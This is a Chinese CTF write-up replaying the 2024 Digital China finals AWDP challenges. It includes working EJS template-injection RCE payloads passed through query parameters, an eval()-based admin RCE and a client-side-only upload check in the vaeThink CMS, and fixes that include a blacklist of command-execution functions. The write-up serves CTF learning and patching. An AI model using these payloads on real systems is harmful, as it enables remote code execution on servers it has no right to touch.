目录

  1. 1. 前言
  2. 2. 运维
  3. 3. AWDP部分
  4. 4. aka_ssti
    1. 4.1. Attack
      1. 4.1.1. CVE-2022-29078及其延伸出的issue(Failed)
      2. 4.1.2. 寻找其它options对象实现rce
    2. 4.2. Fix
  5. 5. bocaitar
    1. 5.1. Attack——后台文件上传
    2. 5.2. Fix
    3. 5.3. Attack——后台RCE
    4. 5.4. Fix

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024数字中国决赛 复现

2024/5/23 AWDP Nodejs CMS
  |     |   总文章阅读量:

前言

我连线下赛都没进,但是后辈们进了,于是叫他们带了附件回来,因为有AWDP还是值得一看的

运维

这个不急着复现


AWDP部分

aka_ssti

ejs ssti

1716360844030

Attack

app.js

var express = require('express');
var app = express();

var mongoose =require('mongoose');
var path = require('path');
var bodyParser = require('body-parser');
var fs = require('fs');
var lodash = require('lodash');
var session = require('express-session');
var randomize = require('randomatic');

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'static'))); 

app.get('/', (req, res, next) => {
    res.redirect('/home?page=Home');
});

app.all('/home', function(req, res) {
    res.render('home', req.query);
});

app.all('/about', function(req, res) {
    res.render('about', req.query);
});

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  var err = new Error('Not Found');
  err.status = 404;
  next(err);
});

// error handler
app.use(function(err, req, res, next) {
  // render the error page
  res.status(err.status || 500);
  res.render('error', {status:err.status, message:err.message});
});

var server = app.listen(80, '0.0.0.0', function () {

    var host = server.address().address;
    var port = server.address().port;

    console.log("listening on http://%s:%s", host, port);
});

package.json,这里只取关键的packages

"packages": {
  "": {
    "name": "src",
    "version": "1.0.0",
    "license": "ISC",
    "dependencies": {
      "body-parser": "^1.19.0",
      "ejs": "^3.1.8",
      "express": "^4.17.1",
      "express-session": "^1.17.2",
      "fs": "^0.0.1-security",
      "lodash": "^4.17.4",
      "mongoose": "^5.13.6",
      "randomatic": "^3.1.1"
    }
  }

现在开始审计,这里看似require了一堆库,实际有用到的只有express、path和ejs

app.set('view engine', 'ejs');设置了渲染引擎为ejs

然后就是三个路由

app.get('/', (req, res, next) => {
    res.redirect('/home?page=Home');
});

app.all('/home', function(req, res) {
    res.render('home', req.query);
});

app.all('/about', function(req, res) {
    res.render('about', req.query);
});

/home 和 /about 都是直接渲染模板,除此之外没有多余的操作了

结合题目名字,应该就是在ssti上面下文章

CVE-2022-29078及其延伸出的issue(Failed)

搜一下ejs的ssti,有CVE-2022-29078,但是ejs版本 ≤ 3.1.6,我们的ejs版本是3.1.8,明显用不了

再找一找有https://github.com/mde/ejs/issues/720,版本限制ejs ≤ 3.1.9,可以尝试利用

观察poc:

page.ejs

%%1");process.mainModule.require('child_process').execSync('calc');//
http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//

而我们的ejs文件如下

image-20240523162203795

直接打payload发现不可行,看来需要ejs文件那边对应上

总之先调试一下poc看看原因

image-20240529012646709

发现我们需要进入这里的d + d + c分支才能执行命令,但是这里的line值为 html注释段到title标签前

<!--A Design by W3layouts\nAuthor: W3layout\nAuthor URL: http://w3layouts.com\nLicense: Creative Commons Attribution 3.0 Unported\nLicense URL: http://creativecommons.org/licenses/by/3.0/\n-->\n<!DOCTYPE HTML>\n<html>\n<head>\n<title>

其中c对应的是settings[view options][closeDelimiter],而d对应的是settings[view options][delimiter]

var d = this.opts.delimiter;
var o = this.opts.openDelimiter;
var c = this.opts.closeDelimiter;

这几个opts的参数代表着ejs渲染的标签,默认的渲染是<%,即对应这里的od,那么>对应的就是c,这样一来关系就很明确了

这个issue的原理就是通过修改渲染标签的方式来注入rce代码,但是这里的话我们可控的只有被渲染的变量 page ,对应的ejs模板里又没有别的利用点,所以不可用


寻找其它options对象实现rce

在前面的研究过程中,发现我们可以传入某些特定的参数直接对一些配置的属性值进行修改,如settings[view options][outputFunctionName]settings[view options][closeDelimiter]这样子的

继续一路找找相关的知识点,发现hxpCTF2022有个题也是类似这样的,那题有多种解法,其中就有适合我们的

参考:http://blog.z3ratu1.top/hxpCTF2022wp.html

在前面研究CVE-2022-29078的时候,发现在ejs3.1.6后,几个来自opts的值,比如outputFunctionNamelocalsNamedestructuredLocals都被过了一个_JS_IDENTIFIER.test()进行正则判断,控制了也不能用

image-20240627165830287

我们回去看一下那个cve实现rce的点,在ejs.js的renderFile函数中:

image-20240627171557437

此处的opts后续会作为后续渲染的opts,而data即为render时传入的query对象,如前面cve的payload一样,data中settings属性的view options属性会被完整的传递给opts,那么我们需要控制的就是这里render函数的options对象

options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.includer = opts.includer;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
options.destructuredLocals = opts.destructuredLocals;
options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;

下断点测一下options的几个对象,发现这里escapeFunction被拼进了代码没被过滤

image-20240627170901265

(这个escapeFn的定义是var escapeFn = opts.escapeFunction;,作用呢就是用户输入的html字符进行转义)

那么,控制这个地方就可以做到rce了,由于是对用户输入做转义,所以是对输入内容进行处理后返回,这个函数的返回值就直接是渲染上去的回显,也就是可以直接回显

image-20240627172501346

payload:

/home?page=a&settings[view%20options][client]=1&settings[view%20options][escape]={}.constructor.constructor("return%20process.mainModule.require('child_process').execSync('calc')")

image-20240627164423112


Fix

写中间件waf,直接白名单过滤

function wafFilter(req, res, next) {
  const filteredParams = {};
  const allowedParams = ['page']; // 允许的参数名列表

  for (const param in req.query) {
    if (allowedParams.includes(param)) {
      filteredParams[param] = req.query[param];
    }
  }

  req.filteredParams = filteredParams;
  next();
}

app.use('/home', wafFilter);

app.get('/home', function(req, res) {
  res.render('home', req.filteredParams);
});

app.use('/about', wafFilter);

app.get('/about', function(req, res) {
  res.render('about', req.filteredParams);
});

bocaitar

vaeThink

最近太忙了,没空复现

给了个vaeThink框架,是tp5,感觉有说法

本地起一下环境,php用7.3.4,参考官方文档:http://tplay.pengyichen.cn/doc/

网站根目录设在html文件夹下,然后把 data 文件夹下的 install.lock 删掉,这样就能安装了

image-20240612012019765

注意这里还要修改一下.htaccess(明明是题目的附件却少这少那,存疑)

<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]
</IfModule>

后面又弄了个tp报错界面出来得知是tp5.0.24,但是翻了下源码没找到能利用的反序列化入口

然后就能开始挖了

Attack——后台文件上传

参考:https://www.freebuf.com/vuls/203562.html

登录后台之后,发现

一样是前端校验后缀

image-20240612020044511

于是成功上传

但是本地起的环境发现一个很逆天的地方,上传的public文件夹位置在上级目录导致根本访问不到,这源码疑似有点问题。。当然如果是故意的当我没说(不过没拿到管理员账密应该也打不了)

Fix

漏洞点在这里

image-20240613011224881

然后下断点调试一下

image-20240613011914635

调试时注意到走到这一步的时候上传的文件仍然是临时文件

image-20240613012117848

但是接下来就会变成保存的文件名

那么过滤的方法就有了,只需要在这一步检测saveName的后缀即可

因为saveName是一个 protected 变量,所以需要用getSaveName方法获取它的值,然后用pathinfo获取后缀名

$pathInfo = pathinfo($info->getSaveName());

最终的修改结果为

image-20240613013117831

image-20240613013243790


Attack——后台RCE

搜一下eval,在 listenrain/vae/lib/Auth.php 的getAuthList方法里有个疑似可以利用的点

image-20240613004813455

/**
 * 获得权限列表
 * @param integer $uid 用户id
 * @param integer $type
 * @return array
 */
protected function getAuthList($uid, $type)
{
    static $_authList = []; //保存用户验证通过的权限列表
    $t = implode(',', (array)$type);
    if (isset($_authList[$uid . $t])) {
        return $_authList[$uid . $t];
    }
    if (2 == $this->config['auth_type'] && Session::has('_auth_list_' . $uid . $t)) {
        return Session::get('_auth_list_' . $uid . $t);
    }

    //读取用户所属用户组
    $groups = $this->getGroups($uid);
    $ids    = []; //保存用户所属用户组设置的所有权限规则id
    foreach ($groups as $g) {
        $ids = array_merge($ids, explode(',', trim($g['rules'], ',')));
    }
    $ids = array_unique($ids);
    if (empty($ids)) {
        $_authList[$uid . $t] = [];

        return [];
    }
    $map = [
        'id'   => ['in', $ids],
        'type' => $type
    ];
    //读取用户组所有权限规则
    $rules = Db::name($this->config['auth_rule'])->where($map)->field('condition,name')->select();
    //循环规则,判断结果。
    $authList = []; //
    foreach ($rules as $rule) {
        if (!empty($rule['condition'])) {
            //根据condition进行验证
            $user    = $this->getUserInfo($uid); //获取用户信息,一维数组
            $command = preg_replace('/\{(\w*?)\}/', '$user[\'\\1\']', $rule['condition']);
            @(eval('$condition=(' . $command . ');'));
            if ($condition) {
                $authList[] = strtolower($rule['name']);
            }
        } else {
            //只要存在就记录
            $authList[] = strtolower($rule['name']);
        }
    }
    $_authList[$uid . $t] = $authList;
    if (2 == $this->config['auth_type']) {
        //规则列表结果保存到session
        Session::set('_auth_list_' . $uid . $t, $authList);
    }

    return array_unique($authList);
}

稍微跟进一下变量,可以发现这里的$command是由id查询得到的

image-20240613005240184

现在往前跟进方法,在check函数中调用了getAuthList

image-20240613005529650

向前跟进到AdminCheckAuth::run

image-20240613005746737

到这里可以确定在管理员访问鉴权功能模块中会触发此流程

下断点动调

分析后可以确定,数据库中用户拥有的权限对应的规则的condition字段将会作为eval()的参数被执行

image-20240613010644926

那就和参考文章一样的方法打进去即可

Fix

直接对$command再套一层检测即可

   $command = preg_replace('/\{(\w*?)\}/', '$user[\'\\1\']', $rule['condition']);

$blacklist = array('system', 'exec', 'shell_exec', 'passthru', 'eval');

   foreach ($blacklist as $item) {
       if (stripos($command, $item) !== false) {
           die();
       }
   }

   @(eval('$condition=(' . $command . ');'));